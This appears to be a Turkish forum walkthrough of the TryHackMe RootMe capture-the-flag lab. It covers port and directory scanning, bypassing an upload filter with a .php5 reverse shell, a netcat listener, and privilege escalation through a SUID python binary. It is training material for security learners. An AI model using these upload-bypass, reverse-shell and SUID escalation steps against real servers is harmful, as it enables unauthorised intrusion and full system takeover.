Tryhackme Rootme Ctf

Suppressor

Request Uzmanı
16 Kas 2022
1,177
682
always, everywhere
Selamlar. Bu gün tryhackme de bulunan Rootme Ctf sini Çözeceğiz.

İlk Olarak Vpn çekiyoruz.

Bizden İstenenler Bunlar:


1-Kaç Port Açık Olduğu

2- Apache'nin hangi sürümü çalıştığı

3- 22 numaralı bağlantı noktasında hangi hizmette çalıştığı

4- GoBuster aracını kullanarak web sunucusundaki dizinleri

5- Gizli Dizini

6- user.txt deki flag i

7- SUID iznine sahip dosyaları arayın, hangi dosya garip olduğu

8- Yetki Alacağımız Formu

9- Root Flag i


Herkesin İp Si Farklı Olabilir

Başlayalım.
nmap -A -T4 10.10.71.92 ile nmap taraması yapıldığında 22 ve 80 portunun açık olduğu görülüyor. Apache http sunucu versiyonu 2.4.29 olduğu görülüyor.



1.jpg



gobuster dir -u 10.10.71.92 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt komutu ile ilgili web siteyi ait uzantıları aratılır.


2.jpg



10.10.71.82/panel sayfasında dosya yükleme paneli bulunuyor. 10.10.71.82/index.php sayfası açıldığı için sayfanın php ile yazıldığı biliniyor. Php reverse shell komut dosyası kullanılarak bağlantı sağlanılabilir. Bunun için pentest monkey’in php reverse shell kodunu kullandım. Dosya yüklenmek istendiğinde izin verilmiyor.


3-1536x730.jpg




Dosya adı uzantısı değiştirilerek file upload bypass işlemi yapılabilir. Bu yüzden php-reverse-shell.php dosyasının adı php-reverse-shell.php5 yapıldığında yükleme işlemi başarı ile gerçekleşiyor.


php5.jpg







4-1536x744.jpg




Yüklemi işlemi yapılmadan önce dikkat edilmesi gereken nokta php reverse shell kodunda ip adresi kısmının kendi ip adresiniz ile değiştiriniz. Port kısmına dinleme yapacağınız portu giriniz.


5.jpg



Dosyanın yüklenip yüklenmediği 10.10.71.92/uploads sayfasından kontrol edilebilir. nc -lvnp 1234 komutuyla 1234 portunda netcat ile dinleme başlatılır. Bu sayfadan yüklenilen php-reverse-shell.php5 dosyasına tıklanır ve netcat bağlantısı sağlanır.


6-1536x716.jpg

python -c ‘import pty;pty.spawn(“/bin/bash”)’ ile bağlantı stabil hale getirilir. Diğer shell komutlarına göz atmak isterseniz netsec sayfasını inceleyebilirsiniz.

find / -type f -name user.txt ile flag dosyası aratılır.


7.jpg



8.jpg


cat /var/www/user.txt ile user flag’ı görüntülenir.


9.jpg



find / -user root -perm /4000 ile root yetkisi edilecek dosyalar araştırılır.


16.jpg


Burada /usr/bin/python dikkat çekiyor. Bu yolun daha doğru yazımı /usr/bin/env python şeklindedir. Daha detaylı bilgi almak için shebang adlı makaleyi inceleyebilirsiniz.

GTFOBins sayfasında python üzerinden yetki yükseltme ile ilgili komut bulunuyor.



9.5-1536x745.jpg




python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ ile yetki yükseltilir.

cat /root/root.txt ile root flag’ına ulaşılınır.

TryHackMe | RootMe
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.